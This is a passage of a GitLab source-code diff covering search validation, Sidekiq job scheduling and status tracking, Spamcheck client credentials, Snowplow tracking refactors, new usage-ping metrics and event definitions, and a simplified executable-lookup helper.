+ else
+ raw_params[key]
+ end
+ end
+
+ def abusive?
+ detect_abuse? && abuse_detection.errors.any?
+ end
+
+ def valid_query_length?
+ return true unless errors.has_key? :query_string
+
+ errors[:query_string].none? { |msg| msg.include? SEARCH_CHAR_LIMIT.to_s }
+ end
+
+ def valid_terms_count?
+ return true unless errors.has_key? :query_string
+
+ errors[:query_string].none? { |msg| msg.include? SEARCH_TERM_LIMIT.to_s }
+ end
+
+ def validate
+ if detect_abuse?
+ abuse_detection.validate
+ end
+
+ super
+ end
+
+ def valid?
+ if detect_abuse?
+ abuse_detection.valid? && super
+ else
+ super
+ end
+ end
+
+ private
+
+ def detect_abuse?
+ @detect_abuse
+ end
+
+ def not_too_many_terms
+ if query_string.split.count { |word| word.length >= 3 } > SEARCH_TERM_LIMIT
+ errors.add :query_string, "has too many search terms (maximum is #{SEARCH_TERM_LIMIT})"
+ end
+ end
+
+ def strip_surrounding_whitespace(obj)
+ obj.to_s.strip
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/query.rb b/lib/gitlab/search/query.rb
index c0420126ada..97ee7c7817d 100644
--- a/lib/gitlab/search/query.rb
+++ b/lib/gitlab/search/query.rb
@@ -44,7 +44,7 @@ module Gitlab
next unless match
- input = match.split(':')[1..-1].join
+ input = match.split(':')[1..].join
next if input.empty?
filter[:negated] = match.start_with?("-")
diff --git a/lib/gitlab/security/scan_configuration.rb b/lib/gitlab/security/scan_configuration.rb
new file mode 100644
index 00000000000..eaccbb3be7e
--- /dev/null
+++ b/lib/gitlab/security/scan_configuration.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Security
+ class ScanConfiguration
+ include ::Gitlab::Utils::StrongMemoize
+ include Gitlab::Routing.url_helpers
+
+ attr_reader :type
+
+ def initialize(project:, type:, configured: false)
+ @project = project
+ @type = type
+ @configured = configured
+ end
+
+ def available?
+ # SAST and Secret Detection are always available, but this isn't
+ # reflected by our license model yet.
+ # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/333113
+ %i[sast secret_detection].include?(type)
+ end
+
+ def configured?
+ configured
+ end
+
+ def configuration_path
+ configurable_scans[type]
+ end
+
+ private
+
+ attr_reader :project, :configured
+
+ def configurable_scans
+ strong_memoize(:configurable_scans) do
+ {
+ sast: project_security_configuration_sast_path(project)
+ }
+ end
+ end
+ end
+ end
+end
+
+Gitlab::Security::ScanConfiguration.prepend_mod_with('Gitlab::Security::ScanConfiguration')
diff --git a/lib/gitlab/sherlock/line_profiler.rb b/lib/gitlab/sherlock/line_profiler.rb
index 52d88f074b7..aa25eb5a571 100644
--- a/lib/gitlab/sherlock/line_profiler.rb
+++ b/lib/gitlab/sherlock/line_profiler.rb
@@ -70,7 +70,7 @@ module Gitlab
next if total_duration <= MINIMUM_DURATION
- stats[1..-1].each_with_index do |data, index|
+ stats[1..].each_with_index do |data, index|
next unless source_lines[index]
duration = microsec_to_millisec(data[0])
diff --git a/lib/gitlab/sidekiq_config.rb b/lib/gitlab/sidekiq_config.rb
index 07ddac209f8..3eef41a2ca2 100644
--- a/lib/gitlab/sidekiq_config.rb
+++ b/lib/gitlab/sidekiq_config.rb
@@ -8,6 +8,7 @@ module Gitlab
EE_QUEUE_CONFIG_PATH = 'ee/app/workers/all_queues.yml'
JH_QUEUE_CONFIG_PATH = 'jh/app/workers/all_queues.yml'
SIDEKIQ_QUEUES_PATH = 'config/sidekiq_queues.yml'
+ JH_SIDEKIQ_QUEUES_PATH = 'jh/config/sidekiq_queues.yml'
QUEUE_CONFIG_PATHS = [
FOSS_QUEUE_CONFIG_PATH,
@@ -100,18 +101,24 @@ module Gitlab
def queues_for_sidekiq_queues_yml
namespaces_with_equal_weights =
workers
+ .reject { |worker| worker.jh? }
.group_by(&:queue_namespace)
.map(&:last)
.select { |workers| workers.map(&:get_weight).uniq.count == 1 }
.map(&:first)
namespaces = namespaces_with_equal_weights.map(&:queue_namespace).to_set
- remaining_queues = workers.reject { |worker| namespaces.include?(worker.queue_namespace) }
+ remaining_queues = workers.reject { |worker| worker.jh? }.reject { |worker| namespaces.include?(worker.queue_namespace) }
(namespaces_with_equal_weights.map(&:namespace_and_weight) +
remaining_queues.map(&:queue_and_weight)).sort
end
+ # Override in JH repo
+ def jh_queues_for_sidekiq_queues_yml
+ []
+ end
+
# YAML.load_file is OK here as we control the file contents
def sidekiq_queues_yml_outdated?
config_queues = YAML.load_file(SIDEKIQ_QUEUES_PATH)[:queues]
@@ -154,3 +161,5 @@ module Gitlab
end
end
end
+
+Gitlab::SidekiqConfig.prepend_mod
diff --git a/lib/gitlab/sidekiq_enq.rb b/lib/gitlab/sidekiq_enq.rb
deleted file mode 100644
index de0c00fe561..00000000000
--- a/lib/gitlab/sidekiq_enq.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- class SidekiqEnq
- LUA_ZPOPBYSCORE = <<~EOS
- local key, now = KEYS[1], ARGV[1]
- local jobs = redis.call("zrangebyscore", key, "-inf", now, "limit", 0, 1)
- if jobs[1] then
- redis.call("zrem", key, jobs[1])
- return jobs[1]
- end
- EOS
-
- LUA_ZPOPBYSCORE_SHA = Digest::SHA1.hexdigest(LUA_ZPOPBYSCORE)
-
- def enqueue_jobs(now = Time.now.to_f.to_s, sorted_sets = Sidekiq::Scheduled::SETS)
- Rails.application.reloader.wrap do
- ::Gitlab::WithRequestStore.with_request_store do
- if Feature.enabled?(:atomic_sidekiq_scheduler, default_enabled: :yaml)
- atomic_find_jobs_and_enqueue(now, sorted_sets)
- else
- find_jobs_and_enqueue(now, sorted_sets)
- end
-
- ensure
- ::Gitlab::Database::LoadBalancing.release_hosts
- end
- end
- end
-
- private
-
- # This is a copy of https://github.com/mperham/sidekiq/blob/32c55e31659a1e6bd42f98334cca5eef2863de8d/lib/sidekiq/scheduled.rb#L11-L34
- #
- # It effectively reverts
- # https://github.com/mperham/sidekiq/commit/9b75467b33759888753191413eddbc15c37a219e
- # because we observe that the extra ZREMs caused by this change can lead to high
- # CPU usage on Redis at peak times:
- # https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1179
- #
- def find_jobs_and_enqueue(now, sorted_sets)
- # A job's "score" in Redis is the time at which it should be processed.
- # Just check Redis for the set of jobs with a timestamp before now.
- Sidekiq.redis do |conn|
- sorted_sets.each do |sorted_set|
- start_time = ::Gitlab::Metrics::System.monotonic_time
- jobs = redundant_jobs = 0
-
- Sidekiq.logger.info(message: 'Enqueuing scheduled jobs', status: 'start', sorted_set: sorted_set)
-
- # Get the next item in the queue if it's score (time to execute) is <= now.
- # We need to go through the list one at a time to reduce the risk of something
- # going wrong between the time jobs are popped from the scheduled queue and when
- # they are pushed onto a work queue and losing the jobs.
- while job = conn.zrangebyscore(sorted_set, "-inf", now, limit: [0, 1]).first
- # Pop item off the queue and add it to the work queue. If the job can't be popped from
- # the queue, it's because another process already popped it so we can move on to the
- # next one.
- if conn.zrem(sorted_set, job)
- jobs += 1
- Sidekiq::Client.push(Sidekiq.load_json(job))
- else
- redundant_jobs += 1
- end
- end
-
- end_time = ::Gitlab::Metrics::System.monotonic_time
- Sidekiq.logger.info(message: 'Enqueuing scheduled jobs',
- status: 'done',
- sorted_set: sorted_set,
- jobs_count: jobs,
- redundant_jobs_count: redundant_jobs,
- duration_s: end_time - start_time)
- end
- end
- end
-
- def atomic_find_jobs_and_enqueue(now, sorted_sets)
- Sidekiq.redis do |conn|
- sorted_sets.each do |sorted_set|
- start_time = ::Gitlab::Metrics::System.monotonic_time
- jobs = 0
-
- Sidekiq.logger.info(message: 'Atomically enqueuing scheduled jobs', status: 'start', sorted_set: sorted_set)
-
- while job = redis_eval_lua(conn, LUA_ZPOPBYSCORE, LUA_ZPOPBYSCORE_SHA, keys: [sorted_set], argv: [now])
- jobs += 1
- Sidekiq::Client.push(Sidekiq.load_json(job))
- end
-
- end_time = ::Gitlab::Metrics::System.monotonic_time
- Sidekiq.logger.info(message: 'Atomically enqueuing scheduled jobs',
- status: 'done',
- sorted_set: sorted_set,
- jobs_count: jobs,
- duration_s: end_time - start_time)
- end
- end
- end
-
- def redis_eval_lua(conn, script, sha, keys: nil, argv: nil)
- conn.evalsha(sha, keys: keys, argv: argv)
- rescue ::Redis::CommandError => e
- if e.message.start_with?('NOSCRIPT')
- conn.eval(script, keys: keys, argv: argv)
- else
- raise
- end
- end
- end
-end
diff --git a/lib/gitlab/sidekiq_status.rb b/lib/gitlab/sidekiq_status.rb
index fbf2718d718..120d18f63f2 100644
--- a/lib/gitlab/sidekiq_status.rb
+++ b/lib/gitlab/sidekiq_status.rb
@@ -29,13 +29,16 @@ module Gitlab
# for most jobs.
DEFAULT_EXPIRATION = 30.minutes.to_i
+ DEFAULT_VALUE = 1
+ DEFAULT_VALUE_MESSAGE = 'Keys using the default value for SidekiqStatus detected'
+
# Starts tracking of the given job.
#
# jid - The Sidekiq job ID
# expire - The expiration time of the Redis key.
- def self.set(jid, expire = DEFAULT_EXPIRATION)
+ def self.set(jid, expire = DEFAULT_EXPIRATION, value: DEFAULT_VALUE)
Sidekiq.redis do |redis|
- redis.set(key_for(jid), 1, ex: expire)
+ redis.set(key_for(jid), value, ex: expire)
end
end
@@ -88,13 +91,20 @@ module Gitlab
# true = job is still running or enqueued
# false = job completed
def self.job_status(job_ids)
+ return [] if job_ids.empty?
+
keys = job_ids.map { |jid| key_for(jid) }
+ results = Sidekiq.redis { |redis| redis.mget(*keys) }
- Sidekiq.redis do |redis|
- redis.pipelined do
- keys.each { |key| redis.exists(key) }
- end
+ if Feature.enabled?(:log_implicit_sidekiq_status_calls, default_enabled: :yaml)
+ to_log = keys.zip(results).select do |_key, result|
+ result == DEFAULT_VALUE.to_s
+ end.map(&:first)
+
+ Sidekiq.logger.info(message: DEFAULT_VALUE_MESSAGE, keys: to_log) if to_log.any?
end
+
+ results.map { |result| !result.nil? }
end
# Returns the JIDs that are completed
diff --git a/lib/gitlab/sidekiq_status/client_middleware.rb b/lib/gitlab/sidekiq_status/client_middleware.rb
index bfd5038557d..cee7270f2fb 100644
--- a/lib/gitlab/sidekiq_status/client_middleware.rb
+++ b/lib/gitlab/sidekiq_status/client_middleware.rb
@@ -5,8 +5,9 @@ module Gitlab
class ClientMiddleware
def call(_, job, _, _)
status_expiration = job['status_expiration'] || Gitlab::SidekiqStatus::DEFAULT_EXPIRATION
+ value = job['status_expiration'] ? 2 : Gitlab::SidekiqStatus::DEFAULT_VALUE
- Gitlab::SidekiqStatus.set(job['jid'], status_expiration)
+ Gitlab::SidekiqStatus.set(job['jid'], status_expiration, value: value)
yield
end
end
diff --git a/lib/gitlab/spamcheck/client.rb b/lib/gitlab/spamcheck/client.rb
index 925ca44dfc9..40b01552244 100644
--- a/lib/gitlab/spamcheck/client.rb
+++ b/lib/gitlab/spamcheck/client.rb
@@ -21,14 +21,16 @@ module Gitlab
update: ::Spamcheck::Action::UPDATE
}.freeze
+ URL_SCHEME_REGEX = %r{^grpc://|^tls://}.freeze
+
def initialize
@endpoint_url = Gitlab::CurrentSettings.current_application_settings.spam_check_endpoint_url
- # remove the `grpc://` as it's only useful to ensure we're expecting to
- # connect with Spamcheck
- @endpoint_url = @endpoint_url.gsub(%r(^grpc:\/\/), '')
+ @creds = client_creds(@endpoint_url)
- @creds = stub_creds
+ # remove the `grpc://` or 'tls://' as it's only useful to ensure we're expecting to
+ # connect with Spamcheck
+ @endpoint_url = @endpoint_url.sub(URL_SCHEME_REGEX, '')
end
def issue_spam?(spam_issue:, user:, context: {})
@@ -96,11 +98,11 @@ module Gitlab
nanos: ar_timestamp.to_time.nsec)
end
- def stub_creds
- if Rails.env.development? || Rails.env.test?
- :this_channel_is_insecure
+ def client_creds(url)
+ if URI(url).scheme == 'tls'
+ GRPC::Core::ChannelCredentials.new(::Gitlab::X509::Certificate.ca_certs_bundle)
else
- GRPC::Core::ChannelCredentials.new ::Gitlab::X509::Certificate.ca_certs_bundle
+ :this_channel_is_insecure
end
end
diff --git a/lib/gitlab/string_range_marker.rb b/lib/gitlab/string_range_marker.rb
index 5ddc88edf50..292a9d07e6a 100644
--- a/lib/gitlab/string_range_marker.rb
+++ b/lib/gitlab/string_range_marker.rb
@@ -99,7 +99,7 @@ module Gitlab
start = prev = positions[0]
range = MarkerRange.new(start, prev, mode: mode)
- positions[1..-1].each do |pos|
+ positions[1..].each do |pos|
if pos == prev + 1
range = MarkerRange.new(start, pos, mode: mode)
prev = pos
diff --git a/lib/gitlab/subscription_portal.rb b/lib/gitlab/subscription_portal.rb
index 4f6d25097e2..d987247fdc4 100644
--- a/lib/gitlab/subscription_portal.rb
+++ b/lib/gitlab/subscription_portal.rb
@@ -18,6 +18,10 @@ module Gitlab
"#{self.subscriptions_url}/payment_forms/cc_validation"
end
+ def self.registration_validation_form_url
+ "#{self.subscriptions_url}/payment_forms/cc_registration_validation"
+ end
+
def self.subscriptions_comparison_url
'https://about.gitlab.com/pricing/gitlab-com/feature-comparison'
end
@@ -62,6 +66,10 @@ module Gitlab
"#{self.subscriptions_url}/gitlab/namespaces/#{group_id}/renew"
end
+ def self.edit_account_url
+ "#{self.subscriptions_url}/customers/edit"
+ end
+
def self.subscription_portal_admin_email
ENV.fetch('SUBSCRIPTION_PORTAL_ADMIN_EMAIL', 'gl_com_api@gitlab.com')
end
@@ -69,9 +77,15 @@ module Gitlab
def self.subscription_portal_admin_token
ENV.fetch('SUBSCRIPTION_PORTAL_ADMIN_TOKEN', 'customer_admin_token')
end
+
+ def self.renewal_service_email
+ 'renewals-support@gitlab.com'
+ end
end
end
Gitlab::SubscriptionPortal.prepend_mod
Gitlab::SubscriptionPortal::SUBSCRIPTIONS_URL = Gitlab::SubscriptionPortal.subscriptions_url.freeze
Gitlab::SubscriptionPortal::PAYMENT_FORM_URL = Gitlab::SubscriptionPortal.payment_form_url.freeze
+Gitlab::SubscriptionPortal::RENEWAL_SERVICE_EMAIL = Gitlab::SubscriptionPortal.renewal_service_email.freeze
+Gitlab::SubscriptionPortal::REGISTRATION_VALIDATION_FORM_URL = Gitlab::SubscriptionPortal.registration_validation_form_url.freeze
diff --git a/lib/gitlab/task_helpers.rb b/lib/gitlab/task_helpers.rb
index 227962fc0f7..6a98fa12903 100644
--- a/lib/gitlab/task_helpers.rb
+++ b/lib/gitlab/task_helpers.rb
@@ -190,6 +190,9 @@ module Gitlab
end
def checkout_version(version, target_dir)
+ # Explicitly setting the git protocol version to v2 allows older Git binaries
+ # to do have a shallow clone obtain objects by object ID.
+ run_command!(%W[#{Gitlab.config.git.bin_path} -C #{target_dir} config protocol.version 2])
run_command!(%W[#{Gitlab.config.git.bin_path} -C #{target_dir} fetch --quiet origin #{version}])
run_command!(%W[#{Gitlab.config.git.bin_path} -C #{target_dir} checkout -f --quiet FETCH_HEAD --])
end
diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
index ec032cf2d3c..a58b4beb0df 100644
--- a/lib/gitlab/tracking.rb
+++ b/lib/gitlab/tracking.rb
@@ -2,11 +2,9 @@
module Gitlab
module Tracking
- SNOWPLOW_NAMESPACE = 'gl'
-
class << self
def enabled?
- snowplow_micro_enabled? || Gitlab::CurrentSettings.snowplow_enabled?
+ snowplow.enabled?
end
def event(category, action, label: nil, property: nil, value: nil, context: [], project: nil, user: nil, namespace: nil, **extra) # rubocop:disable Metrics/ParameterLists
@@ -25,6 +23,10 @@ module Gitlab
snowplow.hostname
end
+ def snowplow_micro_enabled?
+ Rails.env.development? && Gitlab::Utils.to_boolean(ENV['SNOWPLOW_MICRO_ENABLE'])
+ end
+
private
def snowplow
@@ -34,10 +36,6 @@ module Gitlab
Gitlab::Tracking::Destinations::Snowplow.new
end
end
-
- def snowplow_micro_enabled?
- Rails.env.development? && Gitlab::Utils.to_boolean(ENV['SNOWPLOW_MICRO_ENABLE'])
- end
end
end
end
diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
index 5596e9acd30..ddcd4693738 100644
--- a/lib/gitlab/tracking/destinations/snowplow.rb
+++ b/lib/gitlab/tracking/destinations/snowplow.rb
@@ -8,6 +8,8 @@ module Gitlab
class Snowplow < Base
extend ::Gitlab::Utils::Override
+ SNOWPLOW_NAMESPACE = 'gl'
+
override :event
def event(category, action, label: nil, property: nil, value: nil, context: nil)
return unless enabled?
@@ -19,7 +21,7 @@ module Gitlab
def options(group)
additional_features = Feature.enabled?(:additional_snowplow_tracking, group, type: :ops)
{
- namespace: Gitlab::Tracking::SNOWPLOW_NAMESPACE,
+ namespace: SNOWPLOW_NAMESPACE,
hostname: hostname,
cookie_domain: cookie_domain,
app_id: app_id,
@@ -28,16 +30,16 @@ module Gitlab
}.transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
end
+ def enabled?
+ Gitlab::CurrentSettings.snowplow_enabled?
+ end
+
def hostname
Gitlab::CurrentSettings.snowplow_collector_hostname
end
private
- def enabled?
- Gitlab::Tracking.enabled?
- end
-
def app_id
Gitlab::CurrentSettings.snowplow_app_id
end
@@ -54,7 +56,7 @@ module Gitlab
@tracker ||= SnowplowTracker::Tracker.new(
emitter,
SnowplowTracker::Subject.new,
- Gitlab::Tracking::SNOWPLOW_NAMESPACE,
+ SNOWPLOW_NAMESPACE,
app_id
)
end
diff --git a/lib/gitlab/tracking/destinations/snowplow_micro.rb b/lib/gitlab/tracking/destinations/snowplow_micro.rb
index b818d349a6d..3553efba1e1 100644
--- a/lib/gitlab/tracking/destinations/snowplow_micro.rb
+++ b/lib/gitlab/tracking/destinations/snowplow_micro.rb
@@ -15,7 +15,12 @@ module Gitlab
protocol: uri.scheme,
port: uri.port,
force_secure_tracker: false
- )
+ ).transform_keys! { |key| key.to_s.camelize(:lower).to_sym }
+ end
+
+ override :enabled?
+ def enabled?
+ true
end
override :hostname
@@ -23,8 +28,6 @@ module Gitlab
"#{uri.host}:#{uri.port}"
end
- private
-
def uri
strong_memoize(:snowplow_uri) do
uri = URI(ENV['SNOWPLOW_MICRO_URI'] || DEFAULT_URI)
@@ -33,6 +36,8 @@ module Gitlab
end
end
+ private
+
override :cookie_domain
def cookie_domain
'.gitlab.com'
diff --git a/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric.rb b/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric.rb
new file mode 100644
index 00000000000..3a92525303b
--- /dev/null
+++ b/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class SnowplowConfiguredToGitlabCollectorMetric < GenericMetric
+ GITLAB_SNOWPLOW_COLLECTOR_HOSTNAME = 'snowplow.trx.gitlab.net'
+
+ def value
+ Gitlab::CurrentSettings.snowplow_collector_hostname == GITLAB_SNOWPLOW_COLLECTOR_HOSTNAME
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric.rb b/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric.rb
new file mode 100644
index 00000000000..5d504c70e73
--- /dev/null
+++ b/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class SnowplowEnabledMetric < GenericMetric
+ def value
+ Gitlab::CurrentSettings.snowplow_enabled?
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/metrics/names_suggestions/generator.rb b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
index 6dcbe5f5fe5..d1a7bb65cc3 100644
--- a/lib/gitlab/usage/metrics/names_suggestions/generator.rb
+++ b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
@@ -18,10 +18,6 @@ module Gitlab
private
- def instrumentation_metrics
- ::Gitlab::UsageDataMetrics.suggested_names
- end
-
def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
Gitlab::Usage::Metrics::NameSuggestion.for(:count, column: column, relation: relation)
end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 20e526aeefa..917c273d3f6 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -10,6 +10,12 @@
# alt_usage_data { Gitlab::VERSION }
# redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter)
# redis_usage_data { ::Gitlab::UsageCounters::PodLogs.usage_totals[:total] }
+
+# NOTE:
+# Implementing metrics direct in `usage_data.rb` is deprecated,
+# please add new instrumentation class and use add_metric method.
+# For more information, see https://docs.gitlab.com/ee/development/service_ping/metrics_instrumentation.html
+
module Gitlab
class UsageData
DEPRECATED_VALUE = -1000
@@ -45,10 +51,7 @@ module Gitlab
clear_memoized
with_finished_at(:recording_ce_finished_at) do
- usage_data = usage_data_metrics
- usage_data = usage_data.with_indifferent_access.deep_merge(instrumentation_metrics.with_indifferent_access) if Feature.enabled?(:usage_data_instrumentation)
-
- usage_data
+ usage_data_metrics
end
end
@@ -225,7 +228,9 @@ module Gitlab
operating_system: alt_usage_data(fallback: nil) { operating_system },
gitaly_apdex: alt_usage_data { gitaly_apdex },
collected_data_categories: add_metric('CollectedDataCategoriesMetric', time_frame: 'none'),
- service_ping_features_enabled: add_metric('ServicePingFeaturesMetric', time_frame: 'none')
+ service_ping_features_enabled: add_metric('ServicePingFeaturesMetric', time_frame: 'none'),
+ snowplow_enabled: add_metric('SnowplowEnabledMetric', time_frame: 'none'),
+ snowplow_configured_to_gitlab_collector: add_metric('SnowplowConfiguredToGitlabCollectorMetric', time_frame: 'none')
}
}
end
@@ -401,7 +406,8 @@ module Gitlab
results[:projects_jira_cloud_active] = jira_integration_data_hash[:projects_jira_cloud_active]
results
- rescue ActiveRecord::StatementInvalid
+ rescue ActiveRecord::StatementInvalid => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
{ projects_jira_server_active: FALLBACK, projects_jira_cloud_active: FALLBACK }
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -663,8 +669,6 @@ module Gitlab
end
def redis_hll_counters
- return {} unless Feature.enabled?(:redis_hll_tracking, type: :ops, default_enabled: :yaml)
-
{ redis_hll_counters: ::Gitlab::UsageDataCounters::HLLRedisCounter.unique_events_data }
end
@@ -726,7 +730,7 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
# rubocop: disable UsageData/LargeTable
start = ::Event.where(time_period).select(:id).order(created_at: :asc).first&.id
- finish = ::Event.where(time_period).select(:id).order(created_at: :asc).first&.id
+ finish = ::Event.where(time_period).select(:id).order(created_at: :desc).first&.id
estimate_batch_distinct_count(::Event.where(time_period), :author_id, start: start, finish: finish)
# rubocop: enable UsageData/LargeTable
# rubocop: enable CodeReuse/ActiveRecord
@@ -753,10 +757,6 @@ module Gitlab
.deep_merge(aggregated_metrics_data)
end
- def instrumentation_metrics
- Gitlab::UsageDataMetrics.uncached_data # rubocop:disable UsageData/LargeTable
- end
-
def metric_time_period(time_period)
time_period.present? ? '28d' : 'none'
end
diff --git a/lib/gitlab/usage_data_counters/known_events/analytics.yml b/lib/gitlab/usage_data_counters/known_events/analytics.yml
index 261bdeb9bfa..5a1e7f03278 100644
--- a/lib/gitlab/usage_data_counters/known_events/analytics.yml
+++ b/lib/gitlab/usage_data_counters/known_events/analytics.yml
@@ -66,3 +66,15 @@
category: analytics
redis_slot: analytics
aggregation: weekly
+- name: p_analytics_ci_cd_pipelines
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+- name: p_analytics_ci_cd_deployment_frequency
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
+- name: p_analytics_ci_cd_lead_time
+ category: analytics
+ redis_slot: analytics
+ aggregation: weekly
diff --git a/lib/gitlab/usage_data_counters/known_events/ci_templates.yml b/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
index 40922433635..d90960b344c 100644
--- a/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
+++ b/lib/gitlab/usage_data_counters/known_events/ci_templates.yml
@@ -119,6 +119,10 @@
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
+- name: p_ci_templates_security_dast_api_latest
+ category: ci_templates
+ redis_slot: ci_templates
+ aggregation: weekly
- name: p_ci_templates_security_container_scanning
category: ci_templates
redis_slot: ci_templates
@@ -551,6 +555,10 @@
category: ci_templates
redis_slot: ci_templates
aggregation: weekly
+- name: p_ci_templates_implicit_security_dast_api_latest
+ category: ci_templates
+ redis_slot: ci_templates
+ aggregation: weekly
- name: p_ci_templates_implicit_security_container_scanning
category: ci_templates
redis_slot: ci_templates
diff --git a/lib/gitlab/usage_data_counters/known_events/common.yml b/lib/gitlab/usage_data_counters/known_events/common.yml
index feebc7f395a..bb98a0b262a 100644
--- a/lib/gitlab/usage_data_counters/known_events/common.yml
+++ b/lib/gitlab/usage_data_counters/known_events/common.yml
@@ -355,6 +355,19 @@
category: testing
aggregation: weekly
feature_flag: users_expanding_widgets_usage_data
+- name: users_expanding_testing_license_compliance_report
+ redis_slot: testing
+ category: testing
+ aggregation: weekly
+ feature_flag: users_expanding_widgets_usage_data
+- name: users_visiting_testing_license_compliance_full_report
+ redis_slot: testing
+ category: testing
+ aggregation: weekly
+- name: users_visiting_testing_manage_license_compliance
+ redis_slot: testing
+ category: testing
+ aggregation: weekly
# Container Security - Network Policies
- name: clusters_using_network_policies_ui
redis_slot: network_policies
diff --git a/lib/gitlab/usage_data_counters/known_events/importer_events.yml b/lib/gitlab/usage_data_counters/known_events/importer_events.yml
index 79bbac229bc..c84d756a013 100644
--- a/lib/gitlab/usage_data_counters/known_events/importer_events.yml
+++ b/lib/gitlab/usage_data_counters/known_events/importer_events.yml
@@ -4,14 +4,11 @@
category: importer
redis_slot: import
aggregation: weekly
- feature_flag: track_importer_activity
- name: github_import_project_success
category: importer
redis_slot: import
aggregation: weekly
- feature_flag: track_importer_activity
- name: github_import_project_failure
category: importer
redis_slot: import
aggregation: weekly
- feature_flag: track_importer_activity
diff --git a/lib/gitlab/usage_data_counters/known_events/quickactions.yml b/lib/gitlab/usage_data_counters/known_events/quickactions.yml
index dff2c4f8d03..d831ac02dd1 100644
--- a/lib/gitlab/usage_data_counters/known_events/quickactions.yml
+++ b/lib/gitlab/usage_data_counters/known_events/quickactions.yml
@@ -279,3 +279,11 @@
category: quickactions
redis_slot: quickactions
aggregation: weekly
+- name: i_quickactions_add_contacts
+ category: quickactions
+ redis_slot: quickactions
+ aggregation: weekly
+- name: i_quickactions_remove_contacts
+ category: quickactions
+ redis_slot: quickactions
+ aggregation: weekly
diff --git a/lib/gitlab/usage_data_non_sql_metrics.rb b/lib/gitlab/usage_data_non_sql_metrics.rb
index be5a571fb82..1661a1b6987 100644
--- a/lib/gitlab/usage_data_non_sql_metrics.rb
+++ b/lib/gitlab/usage_data_non_sql_metrics.rb
@@ -5,13 +5,6 @@ module Gitlab
SQL_METRIC_DEFAULT = -3
class << self
- def uncached_data
- # instrumentation_metrics is already included with feature flag enabled
- return super if Feature.enabled?(:usage_data_instrumentation)
-
- super.with_indifferent_access.deep_merge(instrumentation_metrics.with_indifferent_access)
- end
-
def add_metric(metric, time_frame: 'none', options: {})
metric_class = "Gitlab::Usage::Metrics::Instrumentations::#{metric}".constantize
@@ -50,12 +43,6 @@ module Gitlab
projects_jira_cloud_active: 0
}
end
-
- private
-
- def instrumentation_metrics
- ::Gitlab::Usage::Metric.all.map(&:with_instrumentation).reduce({}, :deep_merge)
- end
end
end
end
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index f543b29e43f..c6490ba7374 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -5,13 +5,6 @@ module Gitlab
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41091
class UsageDataQueries < UsageData
class << self
- def uncached_data
- # instrumentation_metrics is already included with feature flag enabled
- return super if Feature.enabled?(:usage_data_instrumentation)
-
- super.with_indifferent_access.deep_merge(instrumentation_metrics.with_indifferent_access)
- end
-
def add_metric(metric, time_frame: 'none', options: {})
metric_class = "Gitlab::Usage::Metrics::Instrumentations::#{metric}".constantize
@@ -71,12 +64,6 @@ module Gitlab
def epics_deepest_relationship_level
{ epics_deepest_relationship_level: 0 }
end
-
- private
-
- def instrumentation_metrics
- ::Gitlab::Usage::Metric.all.map(&:with_instrumentation).reduce({}, :deep_merge)
- end
end
end
end
diff --git a/lib/gitlab/utils.rb b/lib/gitlab/utils.rb
index cb34ed69a9c..96cff024371 100644
--- a/lib/gitlab/utils.rb
+++ b/lib/gitlab/utils.rb
@@ -120,18 +120,14 @@ module Gitlab
Random.rand(Float::MAX.to_i).to_s(36)
end
- # See: http://stackoverflow.com/questions/2108727/which-in-ruby-checking-if-program-exists-in-path-from-ruby
- # Cross-platform way of finding an executable in the $PATH.
+ # Behaves like `which` on Linux machines: given PATH, try to resolve the given
+ # executable name to an absolute path, or return nil.
#
# which('ruby') #=> /usr/bin/ruby
- def which(cmd, env = ENV)
- exts = env['PATHEXT'] ? env['PATHEXT'].split(';') : ['']
-
- env['PATH'].split(File::PATH_SEPARATOR).each do |path|
- exts.each do |ext|
- exe = File.join(path, "#{cmd}#{ext}")
- return exe if File.executable?(exe) && !File.directory?(exe)
- end
+ def which(filename)
+ ENV['PATH']&.split(File::PATH_SEPARATOR)&.each do |path|
+ full_path = File.join(path, filename)
+ return full_path if File.executable?(full_path)
end
nil
diff --git a/lib/gitlab/utils/nokogiri.rb b/lib/gitlab/utils/nokogiri.rb
